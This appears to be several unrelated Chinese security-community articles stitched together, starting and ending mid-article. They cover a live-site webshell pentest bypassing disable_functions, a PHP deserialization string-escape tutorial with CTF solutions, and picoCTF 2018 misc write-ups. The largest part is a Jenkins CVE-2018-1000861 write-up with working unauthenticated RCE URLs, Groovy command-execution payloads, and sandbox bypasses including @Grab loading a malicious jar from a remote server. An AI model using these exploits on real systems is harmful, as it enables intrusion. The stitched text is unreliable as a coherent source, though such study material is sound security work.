再看看当前收集到的信息，服务器是Linux的,服务器中的PHP是用FPM/FastCGI的连接模式启动，当前目录可写
想到应该可以用PHP-FPM绕过disable_functions，在蚁剑中已经添加了这个bypass[插件](https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5 "插件")
先去插件市场下载安装绕过disable_functions插件，然后加载进来，选择PHP-FPM/FastCGI模式进行，FPM地址就用哥斯拉一顿乱找，Linux下可以看看/tmp目录。
注意这里的tmp前一定要加/
操作成功后，会显示成功上传代理脚本和一个so文件，在webshell目录下会多了个.antproxy.php文件，我们直接右键创建副本改地址为该代理PHP文件，再连接即可成功Bypass
disable_functions：
# 提权
在浏览文件时发现存在phpmyadmin目录,前期信息收集得知该站点使用了宝塔,宝塔一般默认把phpmyadmin搭建在888端口上面，但是该网站并没有开启888端口，而且bypass后的shell总是两分钟就掉，有宝塔，又是hvv害怕把服务器提崩....所以就暂时渗透到这里吧。
# 总结：
在渗透过程中如果主站和旁站是一个类型的站点,那他们的目录结构也很可能相似，很多漏洞点也可能通用。
本文知识点：
1.通过dedecms最新版漏洞组合拳拿到管理员密码。
2.旁站信息收集
2.绕过disable_functions禁用函数。
3.绕过open_basedir目录限制。 | 社区文章 |
**前言**
因为以前一直在学习PHP反序列化字符逃逸的时候总是看到大佬构造的Payload好像轻而易举，但对于小白来说却很难理解。所以我写了这篇文章作为总结，同时作为一名理科生，将构造步骤拆解为一步步的方法，我想这可以对大多数同学起到很好的帮助。
## **PHP反序列化特点**
01 PHP在反序列化时，底层代码是以 ; 作为字段的分隔，以 } 作为结尾(字符串除外)，并且是根据长度判断内容的
，同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。
02 当序列化的长度不对应的时候会出现报错
03 可以反序列化类中不存在的元素
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>
* * *
**PHP反序列化字符逃逸**
字符逃逸的本质其实也是闭合，但是它分为两种情况，一是字符变多，二是字符变少
**字符逃逸（字符增多）**
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
构造修改age的值的代码：";i:1;s:2:"20";}
，再计算一下构造的代码长度为16，同时知晓Demo的过滤是每有一个p就会多出一个字符，那么此时就再需要输入16个p，与上面构造的代码：";i:1;s:2:"20";}
拼接，即：username的值此时传入的是:
pppppppppppppppp";i:1;s:2:"20";}，这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充，从而使我们构造的代码
";i:1;s:2:"20";} 成功逃逸，修改了age的值。（后面的值忽略是特点1）
判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同，如果多出两个。则可以理解上面的Demo中的p过滤后会变成3个W，我们构造的代码长度依然是16，那么逃逸也就只需要再构造16/2=8个p即可（即：构造代码的长度除以多出的字符数）
**字符逃逸（字符减少）**
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
再看这个Demo，很明显两个p变成了一个W，但是前面的长度依然是7，因为过滤后的字符长度变小了，所以该7位数值将向后吞噬了第一个“到;结束，所以这种问题就不再是只传递一个值，而应该在username处传递构造的过滤字符，age处传递逃逸代码。
**字符逃逸(字符减少构造三步走)**
**第一步**
利用Demo中的代码将age的值修改为想要修改的数值，即:20，得到age处序列化的值为;i:1;s:2:"20";}，那么把这段数值再次传入Demo代码的age处（该值即为最终的逃逸代码），而此时username传递的p的数值无法确定，先可随意构造，查看结果
**第二步**
age处传递一个任意数值和双引号进行闭合，即：再次传入age = A";i:1;s:2:"20";}，查看结果
**第三步**
计算选中部分（长度为13）根据过滤后字符缩减情况构造，Demo中每两个p变为1个W，相当于逃逸1位（选中部分即为逃逸字符）所以输入13*2=26个p进行逃逸，即最终传递usernmae=pppppppppppppppppppppppppp，age=A";i:1;s:2:"20";}
* * *
**真题解析**
**[CTFSHOW]Web1此夜圆 - >字符增多**
<?php
error_reporting(0);
class a
{
public $uname = '123';
public $password = 'yu22x';
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$a = new a();
var_dump(serialize($a));
echo "<pre>";
$r = filter(serialize($a));
var_dump($r);
var_dump(unserialize($r));
?>
**[安洵杯2019]easy_serialize_php - >字符减少**
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个，至于最后是
多少再补充
$_SESSION["function"] = '123';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>
第二步，修改$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
第三步，计算选中部分长度（构造逃逸代码）令$_SESSION[user]为6个4位长度的字符（flag）或者8个3位长度的字符（php）但是题目里的SESSION有三个参数，而我们第二行构造的代码中以}结尾了，所以反序列化后只能出现两个参数，没有满足要求，所以不会成功反序列化，那么只需要再任意补充一段序列化值即可。
最终POC：
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>
得到flag的真正位置后再重新对该值进行一下Base64加密，替换了原Base64位置即可（因为加密后长度相同，所以不用再重新构造） | 社区文章 |
## 0x00 前言
最近看了下Jenkins相关漏洞，实在是太膜拜Orange大佬的挖掘思路了！！！分析下之后发现不会Groovy，在学习借鉴Me7ell大佬分享的Groovy文章下，于是就整理出本篇文章。
## 0x01 从Jenkins RCE看起（CVE-2018-1000861）
### 简介
Jenkins是一个独立的开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。前身是Hudson是一个可扩展的持续集成引擎。可用于自动化各种任务，如构建，测试和部署软件。
Jenkins
Pipeline是一套插件，支持将连续输送Pipeline实施和整合到Jenkins。Pipeline提供了一组可扩展的工具，用于通过PipelineDSL为代码创建简单到复杂的传送Pipeline。
Jenkins远程代码执行漏洞（CVE-2018-1000861），简单地说，就是利用Jenkins动态路由机制的缺陷来绕过ACL的限制，结合绕过Groovy沙箱的Groovy代码注入来实现无验证RCE的攻击利用。
### 漏洞复现
直接用的Vulhub的环境：<https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/>
PoC：
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0d%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0d%0a%20%20%20%20%22%74%6f%75%63%68%20%2f%74%6d%70%2f%6d%69%31%6b%37%65%61%22%2e%65%78%65%63%75%74%65%28%29%0d%0a%20%20%7d%0d%0a%7d
其中URL编码部分为：
public class x {
public x(){
"touch /tmp/mi1k7ea".execute()
}
}
除此之外，还有其他类型的PoC：
@groovy.transform.ASTTest(value={ "touch /tmp/mi1k7ea".execute() })
class Person{}
或
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("touch /tmp/mi1k7ea")})
class Person{}
或
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
无需登录认证发起攻击：
成功RCE：
### 漏洞原理简析
网上很多文章包括Orange大佬的博客都讲解得很详细了，这里只是简单提下关键点。
#### Jenkins动态路由机制
Jenkins是基于Stapler框架开发的，在web.xml中可以看到Jenkins是将所有的请求交给`org.kohsuke.stapler.Stapler`来进行处理的，而Stapler是使用一套Naming
Convention来实现动态路由的。该动态路由机制是先以`/`作为分隔符将URL切分，然后以`jenkins.model.Jenkins`作为入口点开始往下遍历，如果URL切分部分满足以下条件则继续往下调用：
1. Public属性的成员变量；
2. Public属性的方法，主要是getter方法，具体如下：
3. `get<token>()`
4. `get<token>(String)`
5. `get<token>(Int)`
6. `get<token>(Long)`
7. `get<token>(StaplerRequest)`
8. `getDynamic(String, …)`
9. `doDynamic(…)`
10. `do<token>(…)`
11. `js<token>(…)`
12. `Class method with @WebMethod annotation`
13. `Class method with @JavaScriptMethod annotation`
简单地说， **Jenkins动态路由机制在解析URL的时候会调用相关类的getter方法** 。
#### Jenkins白名单路由
Jenkins动态路由主要调用的是`org.kohsuke.stapler.Stapler#tryInvoke()`方法，该方法会对除了boundObjectTable外所有node都会进行一次权限检查，具体实现在`jenkins.model.Jenkins#getTarget()`中，这其中实际就是一个URL前缀白名单检查：
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
"/login",
"/logout",
"/accessDenied",
"/adjuncts/",
"/error",
"/oops",
"/signup",
"/tcpSlaveAgentListener",
"/federatedLoginService/",
"/securityRealm",
"/instance-identity"
);
因此，绕过ACL的关键在于，要在上述白名单的一个入口点中找到其他对象的Reference（引用），来跳到非白名单成员从而实现绕过白名单URL前缀的限制。
#### 通过对象间的Reference绕过ACL
如上所述，关键在于找到一个Reference作为跳板来绕过，Orange给出了如下跳板：
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/
该跳板在动态路由中会依次执行如下方法：
jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])
这是因为在Jenkins中，每个对象都是继承于`hudson.model.Descriptor`类，而继承该类的对象可以通过调用`hudson.model.DescriptorByNameOwner#getDescriptorByName(String)`方法来进行调用。
#### RCE Gadget
Orange给出了好几条可结合利用的漏洞利用链，其中之最当然是RCE的Gadget。
前面简介中提到了Jenkins Pipeline，它其实就是基于Groovy实现的一个DSL，可使开发者十分方便地去编写一些Build
Script来完成自动化的编译、测试和发布。
在Jenkins中，大致使用如下代码来检测Groovy的语法：
public JSON doCheckScriptCompile(@QueryParameter String value) {
try {
CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
} catch (CompilationFailedException x) {
return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
}
return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
// Approval requirements are managed by regular stapler form validation (via doCheckScript)
}
关键就是`GroovyClassLoader.parseClass()`，该方法只是进行AST解析但并未执行Groovy语句，即实际并没有execute()方法调用，而且真正执行Groovy代码时会遇到Groovy沙箱的限制。
如何解决这个问题来绕过Groovy沙箱呢？Orange给出了答案——借助编译时期的Meta Programming，其中提到了两种方法。
##### 利用@ASTTest执行断言
根据Groovy的[Meta Programming手册](http://groovy-lang.org/metaprogramming.html)，发现可利用`@groovy.transform.ASTTest`注解来实现在AST上执行一个断言。例如：
@groovy.transform.ASTTest(value={ assert Runtime.getRuntime().exec("calc") })
class Person{}
但在远程利用上会报错，原因在于Pipeline Shared Groovy Libraries
Plugin这个插件，主要用于在PipeLine中引入自定义的函式库。Jenkins会在所有PipeLine执行前引入这个插件，而在编译阶段的ClassPath中并没有对应的函式库从而导致报错。
直接删掉这个插件是可以成功利用的，但由于该插件是随PipeLine默认安装的、因此这不是最优解。
##### 利用@Grab远程加载恶意类
@Grab注解的详细用法在[Dependency management with Grape](http://docs.groovy-lang.org/latest/html/documentation/grape.html)中有讲到，简单地说，Grape是Groovy内建的一个动态Jar依赖管理程序，允许开发者动态引入不在ClassPath中的函式库。例如：
@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
## 0x02 Groovy入门
### Groovy简介
Groovy是一种基于JVM（Java虚拟机）的敏捷开发语言，它结合了Python、Ruby和Smalltalk的许多强大的特性，Groovy代码能够与Java代码很好地结合，也能用于扩展现有代码。由于其运行在JVM上的特性，Groovy也可以使用其他非Java语言编写的库。
Groovy是用于Java虚拟机的一种敏捷的动态语言，它是一种成熟的面向对象编程语言，既可以用于面向对象编程，又可以用作纯粹的脚本语言。使用该种语言不必编写过多的代码，同时又具有闭包和动态语言中的其他特性。
Groovy是JVM的一个替代语言（替代是指可以用Groovy在Java平台上进行Java编程），使用方式基本与使用Java代码的方式相同，该语言特别适合与Spring的动态语言支持一起使用，设计时充分考虑了Java集成，这使Groovy与Java代码的互操作很容易。（注意：不是指Groovy替代Java，而是指Groovy和Java很好的结合编程。）
Groovy有以下特点：
* 同时支持静态和动态类型；
* 支持运算符重载；
* 本地语法列表和关联数组；
* 对正则表达式的本地支持；
* 各种标记语言，如XML和HTML原生支持；
* Groovy对于Java开发人员来说很简单，因为Java和Groovy的语法非常相似；
* 可以使用现有的Java库；
* Groovy扩展了java.lang.Object；
### 基本语法
参考：<https://www.w3cschool.cn/groovy/>
### 环境搭建
下载Groovy：<http://groovy-lang.org/download.html>
解压之后，使用IDEA新建Groovy项目时选择解压的Groovy目录即可。然后点击src->new>groovy
class，即可新建一个groovy文件，内容如下：
class test {
static void main(args){
println "Hello World!";
}
}
### 5种运行方式
#### groovyConsole图形交互控制台
在终端下输入`groovyConsole`启动图形交互控制台，在上面可以直接编写代码执行：
#### groovysh shell命令交互
在终端下输入`groovysh`启动一个shell命令行来执行Groovy代码的交互：
#### 用命令行执行Groovy脚本
在GROOVY_HOME\bin里有个叫“groovy”或“groovy.bat”的脚本文件，可以类似`python
test.py`这种方式来执行Groovy脚本。
1.groovy：
println("mi1k7ea")
在Windows运行`groovy.bat 1.groovy`即可执行该Groovy脚本：
#### 通过IDE运行Groovy脚本
有一个叫GroovyShell的类含有main(String[])方法可以运行任何Groovy脚本。
在前面的IDEA中可以直接运行Groovy脚本：
当然，也可以在Java环境中通过groovy-all.jar中的groovy.lang.GroovyShell类来运行Groovy脚本：
java -cp groovy-all-2.4.12.jar groovy.lang.GroovyShell 1.groovy
#### 用Groovy创建Unix脚本
你可以用Groovy编写Unix脚本并且像Unix脚本一样直接从命令行运行它.倘若你安装的是二进制分发包并且设置好环境变量,那么下面的代码将会很好的工作。
编写一个类似如下的脚本文件，保存为：HelloGroovy
#!/usr/bin/env groovy
println("this is groovy script")
println("Hi,"+args[0]+" welcome to Groovy")
然后在命令行下执行：
$ chmod +x HelloGroovy
$ ./HelloGroovy micmiu.com
this is groovy script
Hi,micmiu.com welcome to Groovy
## 0x03 Groovy代码注入
### 漏洞原理
我们知道，Groovy是一种强大的编程语言，其强大的功能包括了危险的命令执行等调用。
在目标服务中，如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本，且程序并未对输入的Groovy代码进行有效的过滤，那么会导致恶意的Groovy代码注入，从而RCE。
如下代码简单地执行命令：
class test {
static void main(args){
def cmd = "calc";
println "${cmd.execute()}";
}
}
这段Groovy代码被执行就会弹计算器：
### 几种PoC变通形式
Groovy代码注入实现命令执行有以下几种变通的形式：
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
### 注入点
在下面一些场景中，会触发Groovy代码注入漏洞。
#### GroovyShell
GroovyShell允许在Java类中（甚至Groovy类）解析任意Groovy表达式的值。
GroovyShellExample.java：
import groovy.lang.GroovyShell;
public class GroovyShellExample {
public static void main( String[] args ) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate("\"calc\".execute()");
}
}
直接运行即可弹计算器：
或者换成运行Groovy脚本的方式也是也一样的：
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
public class GroovyShellExample {
public static void main( String[] args ) throws Exception {
GroovyShell groovyShell = new GroovyShell();
Script script = groovyShell.parse(new File("src/test.groovy"));
script.run();
}
}
test.groovy：
println "whoami".execute().text
此外，可使用Binding对象输入参数给表达式，并最终通过GroovyShell返回Groovy表达式的计算结果。
#### GroovyScriptEngine
GroovyScriptEngine可从指定的位置（文件系统、URL、数据库等等）加载Groovy脚本，并且随着脚本变化而重新加载它们。如同GroovyShell一样，GroovyScriptEngine也允许传入参数值，并能返回脚本的计算值。
GroovyScriptEngineExample.java，直接运行即加载Groovy脚本文件实现命令执行：
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineExample {
public static void main(String[] args) throws Exception {
GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("");
groovyScriptEngine.run("src/test.groovy",new Binding());
}
}
test.groovy脚本文件如之前。
#### GroovyClassLoader
GroovyClassLoader是一个定制的类装载器，负责解释加载Java类中用到的Groovy类。
GroovyClassLoaderExample.java，直接运行即加载Groovy脚本文件实现命令执行：
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;
import java.io.File;
public class GroovyClassLoaderExample {
public static void main(String[] args) throws Exception {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class loadClass = groovyClassLoader.parseClass(new File("src/test.groovy"));
GroovyObject groovyObject = (GroovyObject) loadClass.newInstance();
groovyObject.invokeMethod("main","");
}
}
test.groovy脚本文件如之前。
#### ScriptEngine
ScriptEngine脚本引擎是被设计为用于数据交换和脚本执行的。
* 数据交换：表现在调度引擎的时候，允许将数据输入/输出引擎，至于引擎内的数据持有的具体方式有两种：普通的键值对和Bindings（interface Bindings extends Map<String,Object>）；
* 脚本执行：脚本引擎执行表现为调用eval()；
ScriptEngineManager类是一个脚本引擎的管理类，用来创建脚本引擎，大概的方式就是在类加载的时候通过SPI的方式，扫描ClassPath中已经包含实现的所有ScriptEngineFactory，载入后用来负责生成具体的ScriptEngine。
在ScriptEngine中，支持名为“groovy”的引擎，可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的。
ScriptEngineExample.java，直接运行即命令执行：
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class ScriptEngineExample {
public static void main( String[] args ) throws Exception {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
groovyEngine.eval("\"calc\".execute()");
}
}
执行Groovy脚本，需要实现读取文件内容的接口而不能直接传入File类对象：
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.FileReader;
public class ScriptEngineExample {
public static void main( String[] args ) throws Exception {
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
String code = readfile("src/test.groovy");
groovyEngine.eval(code);
}
public static String readfile(String filename) throws Exception {
BufferedReader in = new BufferedReader(new FileReader(filename));
String string = "";
String str;
while ((str = in.readLine()) != null) {
string = string + str;
}
return string;
}
}
test.groovy脚本文件如之前。
## 0x04 Bypass Tricks
### 利用反射机制和字符串拼接Bypass
直接的命令执行在前面已经说过几种形式了：
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
在某些场景下，程序可能会过滤输入内容，此时可以通过反射机制以及字符串拼接的方式来绕过实现命令执行：
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")
### Groovy沙箱Bypass
前面说到的Groovy代码注入都是注入了execute()函数，从而能够成功执行Groovy代码，这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了。这也是Orange大佬在绕过Groovy沙箱时用到的技巧。
#### @AST注解执行断言
参考Groovy的[Meta Programming手册](http://groovy-lang.org/metaprogramming.html)，利用AST注解能够执行断言从而实现代码执行（本地测试无需assert也能触发代码执行）。
PoC：
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''');
本地测试：
#### @Grab注解加载远程恶意类
@Grab注解的详细用法在[Dependency management with Grape](http://docs.groovy-lang.org/latest/html/documentation/grape.html)中有讲到，简单地说，Grape是Groovy内建的一个动态Jar依赖管理程序，允许开发者动态引入不在ClassPath中的函式库。
编写恶意Exp类，命令执行代码写在其构造函数中：
public class Exp {
public Exp(){
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }
}
}
依次运行如下命令：
javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-0.jar Exp.class META-INF
先在Web根目录中新建`/test/poc/0/`目录，然后复制该jar包到该子目录下，接着开始HTTP服务。
PoC：
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
运行，成功请求远程恶意Jar包并导入恶意Exp类执行其构造函数，从而导致RCE：
## 0x05 排查方法
排查关键类函数特征：
关键类 | 关键函数
---|---
groovy.lang.GroovyShell | evaluate
groovy.util.GroovyScriptEngine | run
groovy.lang.GroovyClassLoader | parseClass
javax.script.ScriptEngine | eval
## 0x06 参考
[Hacking Jenkins Part 1 - Play with Dynamic
Routing](http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html)
[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated
RCE!](http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
[Jenkins RCE分析（CVE-2018-1000861分析）](https://www.anquanke.com/post/id/172796)
[Jenkins groovy scripts for read teamers and penetration
testers](https://xz.aliyun.com/t/6372) | 社区文章 |
picoCTF的题目分布由易到难，很适合新手入门，做题过程中可以学到东西。对于新手，我觉得misc题更是能引起学习兴趣的。于是我做完了picoCTF2018的misc题目，现在把Writeup发到网络上来供萌新学习。所有题目文件和解析脚本可以从[这里](https://github.com/lxzmads/my-ctf-vestige/tree/master/picoctf2018/misc_KO)找到.
# General Warmup 1 (150pts)
# 题目
If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
> Hints:
> (1) Submit your answer in our competition's flag format. For example, if
> you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.
## 题解
题目意思很明确, 并且告诉你这就是ASCII, 于是Google ASCII, 对照ASCII码表就可以解出来了。还可以用Python来解
print 'picoCTF{'+chr('0x41')+'}'
# picoCTF{A}
# General Warmup 2 (50pts)
## 题目
Can you convert the number 27 (base 10) to binary (base 2)?
> Hints:
> (1) Submit your answer in our competition's flag format. For example, if
> you answer was '11111', you would submit 'picoCTF{11111}' as the flag.
## 题解
进制转换, 没什么多说的.
print 'picoCTF{'+bin(27)[2:]+'}'
# picoCTF{11011}
# General Warmup 3 (50pts)
## 题目
What is 0x3D (base 16) in decimal (base 10).
> Hints:
> (1) Submit your answer in our competition's flag format. For example, if
> you answer was '22', you would submit 'picoCTF{22}' as the flag.
## 题解
进制转换.
print 'picoCTF{'+int('0x3D', 16)+'}'
# picoCTF{61}
# Resources (50pts)
## 题目
We put together a bunch of resources to help you out on our website! If you go
over there, you might even find a flag! [link [1]]
(<https://picoctf.com/resources> )
## 题解
就是观看一些介绍, 在网页中`Ctrl+F`搜索`picoCTF`, 得到flag. 也可用脚本
import requests, re
r = requests.get('https://picoctf.com/resources')
print re.findall(r'(picoCTF\{.*\})', r.text)[0]
# picoCTF{xiexie_ni_lai_zheli}
# grep 1 (75pts)
## 题目
Can you find the flag in [file
[1]](https://2018shell2.picoctf.com/static/805ac70722810caa0b1c02bc88ef68d8/file)
? This would be really obnoxious to look through by hand, see if you can find
a faster way. You can also find the file in
/problems/grep-1_0_c0c0c16438cdbee39591397e16389f59 on the shell server.
> Hints:
> grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php)
## 题解
从类似这些题就可以看出, Hints给的非常充分, 你只需要具备学习能力就能做题, 而不需要足够的知识储备与脑洞能力. 这和国内的题目差别是很明显的.
直接利用sh脚本
cat file | grep picoCTF
# picoCTF{grep_and_you_will_find_52e63a9f}
# net cat (75pts)
## 题目
Using netcat (nc) will be a necessity throughout your adventure. Can you
connect to `2018shell2.picoctf.com` at port `36356` to get the flag?
> Hints:
> nc [tutorial](https://linux.die.net/man/1/nc)
## 题解
主要是学习nc的用法. 连上之后就可以看到flag.
nc 2018shell2.picoctf.com 36356
# strings (100pts)
## 题目
Can you find the flag in this file [1] without actually running it? You can
also find the file in /problems/strings_4_40d221755b4a0b134c2a7a2e825ef95f on
the shell server.
> Hints:
> [strings](https://linux.die.net/man/1/strings)
## 题解
主要是熟悉linux下的`strings`工具
strings strings|grep pico
# picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
# pipe (110pts)
## 题目
During your adventure, you will likely encounter a situation where you need to
process data that you receive over the network rather than through a file. Can
you find a way to save the output from this program and search for the flag?
Connect with 2018shell2.picoctf.com 2015.
> Hints:
> (1) Remember the flag format is picoCTF{XXXX} (2) Ever heard of a pipe? No
> not that kind of pipe... This [kind [1]](http://www.linfo.org/pipes.html)
## 题解
熟悉linux里面管道的原理以及操作
nc 2018shell2.picoctf.com 2015 | grep pico
# picoCTF{almost_like_mario_8861411c}
# grep 2 (125pts)
## 题目
This one is a little bit harder. Can you find the flag in
/problems/grep-2_4_06c2058761f24267033e7ca6ff9d9144/files on the shell server?
Remember, grep is your friend.
> Hints:
> grep [tutorial](https://ryanstutorials.net/linuxtutorial/grep.php)
## 题解
连上题目服务器, 进入到指定文件夹之后发现有很多的文件夹, flag就藏在某个文件夹的某个文件里面, 查阅grep的文档,
发现`-r`参数可以递归探测目录. 于是在题目目录运行命令
grep 'pico' -r .
# ./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}
得到flag.
# Aca-Shell-A (150pts)
## 题目
It's never a bad idea to brush up on those linux skills or even learn some new
ones before you set off on this adventure! Connect with nc
2018shell2.picoctf.com 6903.
> Hints:
> Linux for [Beginners](https://maker.pro/education/basic-linux-commands-for-> beginners)
## 题解
题目是一个游戏, 主要考察基本linux命令的使用.
连上之后首先输出一大段话
Sweet! We have gotten access into the system but we aren't root.
It's some sort of restricted shell! I can't see what you are typing
but I can see your output. I'll be here to help you along.
If you need help, type "echo 'Help Me!'" and I'll see what I can do
There is not much time left!
这是个很有意思的shell, 它可以根据shell的输入来执行命令, 而不是你的输入. 我们`echo 'Help Me!'`来看一下
You got this! Have you looked for any directories?
提示看一下目录, 于是我们`ls`
blackmail
executables
passwords
photos
secret
看到五个目录, 有个`secret`目录引人注目, `cd`进入
Now we are cookin'! Take a look around there and tell me what you find!
继续`ls`
intel_1
intel_2
intel_3
intel_4
intel_5
profile_ahqueith5aekongieP4ahzugi
profile_ahShaighaxahMooshuP1johgo
profile_aik4hah9ilie9foru0Phoaph0
profile_AipieG5Ua9aewei5ieSoh7aph
profile_bah9Ech9oa4xaicohphahfaiG
profile_ie7sheiP7su2At2ahw6iRikoe
profile_of0Nee4laith8odaeLachoonu
profile_poh9eij4Choophaweiwev6eev
profile_poo3ipohGohThi9Cohverai7e
profile_Xei2uu5suwangohceedaifohs
Sabatoge them! Get rid of all their intel files!
最后一句告诉我们删掉所有的`intel`文件, 于是`rm intel*`
Nice! Once they are all gone, I think I can drop you a file of an exploit!
Just type "echo 'Drop it in!' " and we can give it a whirl!
接着按照提示`echo 'Drop it in!'`
I placed a file in the executables folder as it looks like the only place we can execute from!
Run the script I wrote to have a little more impact on the system!
按照提示`cd ..`到上层目录, 再进入`executables`目录, `./dontLookHere`运行可执行程序, 输出一大堆十六进制,
貌似是为了看起来很牛逼, 最后有一段文字是提示
Looking through the text above, I think I have found the password. I am just having trouble with a username.
Oh drats! They are onto us! We could get kicked out soon!
Quick! Print the username to the screen so we can close are backdoor and log into the account directly!
You have to find another way other than echo!
意思就是要输出用户名, 但是`echo`不能用了, 查阅Linux文档, 发现可以用`whoami`输出用户名, 于是
l33th4x0r
Perfect! One second!
Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read.
Try copying the file called TopSecret in tmp directory into the passwords folder.
按照提示, `cp /tmp/TopSecret ../passwords`
Server shutdown in 10 seconds...
Quick! go read the file before we lose our connection!
最后进入到 `passwords`目录, `cat TopSecret`得到flag
picoCTF{CrUsHeD_It_dddcec58}
# environ (150pts)
## 题目
Sometimes you have to configure environment variables before executing a
program. Can you find the flag we've hidden in an environment variable on the
shell server?
> Hints:
